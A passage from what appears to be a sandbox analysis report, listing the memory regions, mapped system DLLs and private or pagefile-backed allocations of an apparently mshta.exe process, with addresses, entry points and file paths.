start_va = 0x657b0000
end_va = 0x65829fff
monitored = 0
entry_point = 0x657c3290
region_type = mapped_file
name = "wow64win.dll"
filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")
Region:
id = 960
start_va = 0x65840000
end_va = 0x6588ffff
monitored = 0
entry_point = 0x65858180
region_type = mapped_file
name = "wow64.dll"
filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")
Region:
id = 961
start_va = 0x74650000
end_va = 0x7472ffff
monitored = 0
entry_point = 0x74663980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 962
start_va = 0x65830000
end_va = 0x65837fff
monitored = 0
entry_point = 0x658317c0
region_type = mapped_file
name = "wow64cpu.dll"
filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")
Region:
id = 963
start_va = 0x4d0000
end_va = 0x7affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004d0000"
filename = ""
Region:
id = 964
start_va = 0x74650000
end_va = 0x7472ffff
monitored = 0
entry_point = 0x74663980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 965
start_va = 0x75e80000
end_va = 0x75ffdfff
monitored = 0
entry_point = 0x75f31b90
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")
Region:
id = 966
start_va = 0x10000
end_va = 0x1ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 967
start_va = 0x7feb0000
end_va = 0x7ffaffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007feb0000"
filename = ""
Region:
id = 968
start_va = 0x400000
end_va = 0x4bdfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 969
start_va = 0x20000
end_va = 0x23fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000020000"
filename = ""
Region:
id = 970
start_va = 0x77820000
end_va = 0x7789afff
monitored = 0
entry_point = 0x7783e970
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")
Region:
id = 971
start_va = 0x75680000
end_va = 0x7573dfff
monitored = 0
entry_point = 0x756b5630
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")
Region:
id = 972
start_va = 0x4d0000
end_va = 0x50ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004d0000"
filename = ""
Region:
id = 973
start_va = 0x510000
end_va = 0x60ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000510000"
filename = ""
Region:
id = 974
start_va = 0x6b0000
end_va = 0x7affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000006b0000"
filename = ""
Region:
id = 975
start_va = 0x75740000
end_va = 0x75783fff
monitored = 0
entry_point = 0x75759d80
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")
Region:
id = 976
start_va = 0x74b50000
end_va = 0x74bfcfff
monitored = 0
entry_point = 0x74b64f00
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")
Region:
id = 977
start_va = 0x74620000
end_va = 0x7463dfff
monitored = 0
entry_point = 0x7462b640
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")
Region:
id = 978
start_va = 0x74610000
end_va = 0x74619fff
monitored = 0
entry_point = 0x74612a00
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")
Region:
id = 979
start_va = 0x74730000
end_va = 0x74787fff
monitored = 0
entry_point = 0x747725c0
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll")
Region:
id = 980
start_va = 0x72180000
end_va = 0x7244afff
monitored = 0
entry_point = 0x723bc4c0
region_type = mapped_file
name = "iertutil.dll"
filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll")
Region:
id = 981
start_va = 0x754b0000
end_va = 0x7566cfff
monitored = 0
entry_point = 0x75592a10
region_type = mapped_file
name = "combase.dll"
filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll")
Region:
id = 982
start_va = 0x748e0000
end_va = 0x7496cfff
monitored = 0
entry_point = 0x74929b90
region_type = mapped_file
name = "shcore.dll"
filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll")
Region:
id = 983
start_va = 0x74c60000
end_va = 0x75158fff
monitored = 0
entry_point = 0x74e67610
region_type = mapped_file
name = "windows.storage.dll"
filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll")
Region:
id = 984
start_va = 0x75300000
end_va = 0x75336fff
monitored = 0
entry_point = 0x75303b50
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")
Region:
id = 985
start_va = 0x75790000
end_va = 0x757d4fff
monitored = 0
entry_point = 0x757ade90
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")
Region:
id = 986
start_va = 0x758f0000
end_va = 0x75a3efff
monitored = 0
entry_point = 0x759a6820
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")
Region:
id = 987
start_va = 0x74790000
end_va = 0x748d6fff
monitored = 0
entry_point = 0x747a1cf0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")
Region:
id = 988
start_va = 0x757e0000
end_va = 0x757ebfff
monitored = 0
entry_point = 0x757e3930
region_type = mapped_file
name = "kernel.appcore.dll"
filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll")
Region:
id = 989
start_va = 0x77770000
end_va = 0x777b3fff
monitored = 0
entry_point = 0x77777410
region_type = mapped_file
name = "powrprof.dll"
filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll")
Region:
id = 990
start_va = 0x757f0000
end_va = 0x757fefff
monitored = 0
entry_point = 0x757f2e40
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")
Region:
id = 991
start_va = 0x7b0000
end_va = 0x86ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000007b0000"
filename = ""
Region:
id = 992
start_va = 0x1d0000
end_va = 0x1f9fff
monitored = 0
entry_point = 0x1d5680
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 993
start_va = 0x870000
end_va = 0x9f7fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000870000"
filename = ""
Region:
id = 994
start_va = 0x75e50000
end_va = 0x75e7afff
monitored = 0
entry_point = 0x75e55680
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 995
start_va = 0xa00000
end_va = 0xb80fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000a00000"
filename = ""
Region:
id = 996
start_va = 0x4bc0000
end_va = 0x5fbffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000004bc0000"
filename = ""
Region:
id = 997
start_va = 0x30000
end_va = 0x31fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000030000"
filename = ""
Region:
id = 998
start_va = 0x1d0000
end_va = 0x1d0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001d0000"
filename = ""
Region:
id = 999
start_va = 0x1e0000
end_va = 0x1e0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "mshta.exe.mui"
filename = "\\Windows\\SysWOW64\\en-US\\mshta.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mshta.exe.mui")
Region:
id = 1000
start_va = 0x1f0000
end_va = 0x1f0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001f0000"
filename = ""
Region:
id = 1001
start_va = 0x610000
end_va = 0x610fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000610000"
filename = ""
Region:
id = 1002
start_va = 0x5fc0000
end_va = 0x62f6fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 1003
start_va = 0x65ad0000
end_va = 0x65ad9fff
monitored = 0
entry_point = 0x65ad2420
region_type = mapped_file
name = "wldp.dll"
filename = "\\Windows\\SysWOW64\\wldp.dll" (normalized: "c:\\windows\\syswow64\\wldp.dll")
Region:
id = 1004
start_va = 0x749d0000
end_va = 0x74b47fff
monitored = 0
entry_point = 0x74a28a90
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll")
Region:
id = 1005
start_va = 0x74640000
end_va = 0x7464dfff
monitored = 0
entry_point = 0x74645410
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll")
Region:
id = 1006
start_va = 0x778a0000
end_va = 0x778e1fff
monitored = 0
entry_point = 0x778b6f10
region_type = mapped_file
name = "wintrust.dll"
filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll")
Region:
id = 1007
start_va = 0x6dc70000
end_va = 0x6eff1fff
monitored = 1
entry_point = 0x6e050ec0
region_type = mapped_file
name = "mshtml.dll"
filename = "\\Windows\\SysWOW64\\mshtml.dll" (normalized: "c:\\windows\\syswow64\\mshtml.dll")
Region:
id = 1008
start_va = 0x6300000
end_va = 0x63fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000006300000"
filename = ""
Region:
id = 1009
start_va = 0x620000
end_va = 0x63ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000620000"
filename = ""
Region:
id = 1011
start_va = 0x70a40000
end_va = 0x70bbdfff
monitored = 0
entry_point = 0x70abc630
region_type = mapped_file
name = "urlmon.dll"
filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll")
Region:
id = 1012
start_va = 0x7b0000
end_va = 0x85ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000007b0000"
filename = ""
Region:
id = 1013
start_va = 0x860000
end_va = 0x86ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000860000"
filename = ""
Region:
id = 1014
start_va = 0x6400000
end_va = 0x64fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000006400000"
filename = ""
Region:
id = 1015
start_va = 0x640000
end_va = 0x640fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000640000"
filename = ""
Region:
id = 1016
start_va = 0x75160000
end_va = 0x7524afff
monitored = 0
entry_point = 0x7519d650
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")
Region:
id = 1017
start_va = 0x7b0000
end_va = 0x840fff
monitored = 0
entry_point = 0x7e8cf0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")
Region:
id = 1018
start_va = 0x850000
end_va = 0x85ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000850000"
filename = ""
Region:
id = 1019
start_va = 0x706d0000
end_va = 0x70744fff
monitored = 0
entry_point = 0x70709a60
region_type = mapped_file
name = "uxtheme.dll"
filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")
Region:
id = 1020
start_va = 0x650000
end_va = 0x68ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000650000"
filename = ""
Region:
id = 1021
start_va = 0x76030000
end_va = 0x7614efff
monitored = 0
entry_point = 0x76075980
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")
Region:
id = 1022
start_va = 0x650000
end_va = 0x650fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000650000"
filename = ""
Region:
id = 1023
start_va = 0x680000
end_va = 0x68ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000680000"
filename = ""
Region:
id = 1024
start_va = 0x6500000
end_va = 0x65bbfff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000006500000"
filename = ""
Region:
id = 1025
start_va = 0x650000
end_va = 0x653fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000650000"
filename = ""
Region:
id = 1026
start_va = 0x701d0000
end_va = 0x701ecfff
monitored = 0
entry_point = 0x701d3b10
region_type = mapped_file
name = "dwmapi.dll"
filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll")
Region:
id = 1027
start_va = 0x660000
end_va = 0x663fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000660000"
filename = ""
Region:
id = 1028
start_va = 0x670000
end_va = 0x670fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000670000"
filename = ""
Region:
id = 1029
start_va = 0x690000
end_va = 0x690fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000690000"
filename = ""
Region:
id = 1030
start_va = 0x6a0000
end_va = 0x6a0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000006a0000"
filename = ""
Region:
id = 1031
start_va = 0x75860000
end_va = 0x758e3fff
monitored = 0
entry_point = 0x75886220
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")
Region:
id = 1032
start_va = 0x7b0000
end_va = 0x7b0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000007b0000"
filename = ""
Region:
id = 1033
start_va = 0x7c0000
end_va = 0x7c0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000007c0000"
filename = ""
Region:
id = 1034
start_va = 0x7d0000
end_va = 0x7d0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "windowsshell.manifest"
filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest")
Region:
id = 1035
start_va = 0x7e0000
end_va = 0x7e1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000007e0000"
filename = ""
Region:
id = 1036
start_va = 0x6f000000
end_va = 0x6f20efff
monitored = 0
entry_point = 0x6f0ab0a0
region_type = mapped_file
name = "comctl32.dll"
filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll")
Region:
id = 1037
start_va = 0x7d0000
end_va = 0x7d0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "windowsshell.manifest"
filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest")
Region:
id = 1038
start_va = 0x7f0000
end_va = 0x7f1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000007f0000"
filename = ""
Region:
id = 1039
start_va = 0x800000
end_va = 0x83ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000800000"
filename = ""
Region:
id = 1040
start_va = 0x65c0000
end_va = 0x660ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000065c0000"
filename = ""
Region:
id = 1041
start_va = 0x6610000
end_va = 0x664ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000006610000"
filename = ""
Region:
id = 1042
start_va = 0x6650000
end_va = 0x669ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000006650000"
filename = ""
Region:
id = 1043
start_va = 0x66a0000
end_va = 0x66dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000066a0000"
filename = ""
Region:
id = 1044
start_va = 0x66e0000
end_va = 0x672ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000066e0000"
filename = ""
Region:
id = 1045
start_va = 0x6ffd0000
end_va = 0x6ffebfff
monitored = 0
entry_point = 0x6ffe2a90
region_type = mapped_file
name = "srpapi.dll"
filename = "\\Windows\\SysWOW64\\srpapi.dll" (normalized: "c:\\windows\\syswow64\\srpapi.dll")
Region:
id = 1046
start_va = 0x749d0000
end_va = 0x74b47fff
monitored = 0
entry_point = 0x74a28a90
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll")
Region:
id = 1047
start_va = 0x74640000
end_va = 0x7464dfff
monitored = 0
entry_point = 0x74645410
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll")
Region:
id = 1048
start_va = 0x742c0000
end_va = 0x742dafff
monitored = 0
entry_point = 0x742c9050
region_type = mapped_file
name = "bcrypt.dll"
filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll")
Region:
id = 1049
start_va = 0x7d0000
end_va = 0x7d0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000007d0000"
filename = ""
Region:
id = 1052
start_va = 0x76150000
end_va = 0x761e1fff
monitored = 0
entry_point = 0x76188cf0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")
Region:
id = 1053
start_va = 0x76370000
end_va = 0x7776efff
monitored = 0
entry_point = 0x7652b990
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")
Region:
id = 1054
start_va = 0x840000
end_va = 0x843fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000840000"
filename = ""
Region:
id = 1055
start_va = 0x6730000
end_va = 0x676ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000006730000"
filename = ""
Region:
id = 1056
start_va = 0x6770000
end_va = 0x686ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000006770000"
filename = ""
Region:
id = 1057
start_va = 0x6cca0000
end_va = 0x6ccadfff
monitored = 0
entry_point = 0x6cca3f60
region_type = mapped_file
name = "msimtf.dll"
filename = "\\Windows\\SysWOW64\\msimtf.dll" (normalized: "c:\\windows\\syswow64\\msimtf.dll")
Region:
id = 1058
start_va = 0xb90000
end_va = 0xb90fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000b90000"
filename = ""
Region:
id = 1059
start_va = 0x6870000
end_va = 0x68affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000006870000"
filename = ""
Region:
id = 1060
start_va = 0x68b0000
end_va = 0x69affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000068b0000"
filename = ""
Region:
id = 1061
start_va = 0x69b0000
end_va = 0x69effff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000069b0000"
filename = ""
Region:
id = 1062
start_va = 0x69f0000
end_va = 0x6aeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000069f0000"
filename = ""
Region:
id = 1063
start_va = 0xba0000
end_va = 0xba0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000ba0000"
filename = ""
Region:
id = 1064
start_va = 0x6af0000
end_va = 0x6b2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000006af0000"
filename = ""
Region:
id = 1065
start_va = 0x6b30000
end_va = 0x6c2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000006b30000"
filename = ""
Region:
id = 1066
start_va = 0x6c30000
end_va = 0x6c30fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000006c30000"
filename = ""
Region:
id = 1067
start_va = 0x6c30000
end_va = 0x6caffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000006c30000"
filename = ""
Region:
id = 1068
start_va = 0x65a10000
end_va = 0x65a63fff
monitored = 0
entry_point = 0x65a2dc50
region_type = mapped_file
name = "oleacc.dll"
filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll")
Region:
id = 1069
start_va = 0x6cb0000
end_va = 0x6cb1fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "oleaccrc.dll"
filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll")
Region:
id = 1070
start_va = 0x72520000
end_va = 0x725a2fff
monitored = 0
entry_point = 0x725437c0
region_type = mapped_file
name = "dxgi.dll"
filename = "\\Windows\\SysWOW64\\dxgi.dll" (normalized: "c:\\windows\\syswow64\\dxgi.dll")
Region:
id = 1071
start_va = 0x65c60000
end_va = 0x65c7efff
monitored = 0
entry_point = 0x65c6c120
region_type = mapped_file
name = "rmclient.dll"
filename = "\\Windows\\SysWOW64\\rmclient.dll" (normalized: "c:\\windows\\syswow64\\rmclient.dll")
Region:
id = 1072
start_va = 0x6cc0000
end_va = 0x6cfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000006cc0000"
filename = ""
Region:
id = 1073
start_va = 0x6d00000
end_va = 0x6dfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000006d00000"
filename = ""
Region:
id = 1074
start_va = 0x6e00000
end_va = 0x6e3ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000006e00000"
filename = ""
Region:
id = 1075
start_va = 0x6e40000
end_va = 0x6f3ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000006e40000"
filename = ""
Region:
id = 1076
start_va = 0x66350000
end_va = 0x663d0fff
monitored = 0
entry_point = 0x6636b260
region_type = mapped_file
name = "sxs.dll"
filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll")
Region:
id = 1077
start_va = 0x6f40000
end_va = 0x6f40fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000006f40000"
filename = ""
Region:
id = 1078
start_va = 0x6f40000
end_va = 0x733afff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000006f40000"
filename = ""
Region:
id = 1079
start_va = 0x7340000
end_va = 0x7346fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000007340000"
filename = ""
Region:
id = 1080
start_va = 0x6cf50000
end_va = 0x6d2d7fff
monitored = 1
entry_point = 0x6d0ffd70
region_type = mapped_file
name = "jscript9.dll"
filename = "\\Windows\\SysWOW64\\jscript9.dll" (normalized: "c:\\windows\\syswow64\\jscript9.dll")
Region:
id = 1081
start_va = 0x704d0000
end_va = 0x704e2fff
monitored = 0
entry_point = 0x704d9950
region_type = mapped_file
name = "cryptsp.dll"
filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll")
Region:
id = 1082
start_va = 0x704a0000
end_va = 0x704cefff
monitored = 0
entry_point = 0x704b95e0
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")
Region:
id = 1083
start_va = 0x7350000
end_va = 0x736ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000007350000"
filename = ""
Region:
id = 1084
start_va = 0x7370000
end_va = 0x73affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000007370000"
filename = ""
Region:
id = 1085
start_va = 0x73b0000
end_va = 0x73fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000073b0000"
filename = ""
Region:
id = 1086
start_va = 0x7400000
end_va = 0x741ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000007400000"
filename = ""
Region:
id = 1087
start_va = 0x7420000
end_va = 0x745ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000007420000"
filename = ""
Region:
id = 1088
start_va = 0x7460000
end_va = 0x755ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000007460000"
filename = ""
Region:
id = 1089
start_va = 0x7560000
end_va = 0x757ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000007560000"
filename = ""
Region:
id = 1090
start_va = 0x7580000
end_va = 0x759ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000007580000"
filename = ""
Region:
id = 1091
start_va = 0x75a0000
end_va = 0x75bffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000075a0000"
filename = ""
Region:
id = 1092
start_va = 0x75c0000
end_va = 0x75dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000075c0000"
filename = ""
Region:
id = 1093
start_va = 0x75e0000
end_va = 0x75fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000075e0000"
filename = ""
Region:
id = 1094
start_va = 0x7600000
end_va = 0x761ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000007600000"
filename = ""
Region:
id = 1095
start_va = 0x70070000
end_va = 0x700b0fff
monitored = 0
entry_point = 0x70077fe0
region_type = mapped_file
name = "dataexchange.dll"
filename = "\\Windows\\SysWOW64\\DataExchange.dll" (normalized: "c:\\windows\\syswow64\\dataexchange.dll")
Region:
id = 1096
start_va = 0x72760000
end_va = 0x72979fff
monitored = 0
entry_point = 0x727f5550
region_type = mapped_file
name = "d3d11.dll"
filename = "\\Windows\\SysWOW64\\d3d11.dll" (normalized: "c:\\windows\\syswow64\\d3d11.dll")
Region:
id = 1097
start_va = 0x6d3b0000
end_va = 0x6d456fff
monitored = 0
entry_point = 0x6d3e6240
region_type = mapped_file
name = "dcomp.dll"
filename = "\\Windows\\SysWOW64\\dcomp.dll" (normalized: "c:\\windows\\syswow64\\dcomp.dll")
Region:
id = 1098
start_va = 0x7620000
end_va = 0x763ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000007620000"
filename = ""
Region:
id = 1099
start_va = 0x742e0000
end_va = 0x743acfff
monitored = 0
entry_point = 0x743329c0
region_type = mapped_file
name = "twinapi.appcore.dll"
filename = "\\Windows\\SysWOW64\\twinapi.appcore.dll" (normalized: "c:\\windows\\syswow64\\twinapi.appcore.dll")
Region:
id = 1100
start_va = 0x7640000
end_va = 0x764ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000007640000"
filename = ""
Region:
id = 1101
start_va = 0x7640000
end_va = 0x764ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000007640000"
filename = ""
Region:
id = 1102
start_va = 0x65c40000
end_va = 0x65c70fff
monitored = 0
entry_point = 0x65c522d0
region_type = mapped_file
name = "msls31.dll"
filename = "\\Windows\\SysWOW64\\msls31.dll" (normalized: "c:\\windows\\syswow64\\msls31.dll")
Region:
id = 1103
start_va = 0x6d660000
end_va = 0x6daedfff
monitored = 0
entry_point = 0x6d9ea320
region_type = mapped_file
name = "d2d1.dll"
filename = "\\Windows\\SysWOW64\\d2d1.dll" (normalized: "c:\\windows\\syswow64\\d2d1.dll")
Region:
id = 1104
start_va = 0x6d460000
end_va = 0x6d650fff
monitored = 0
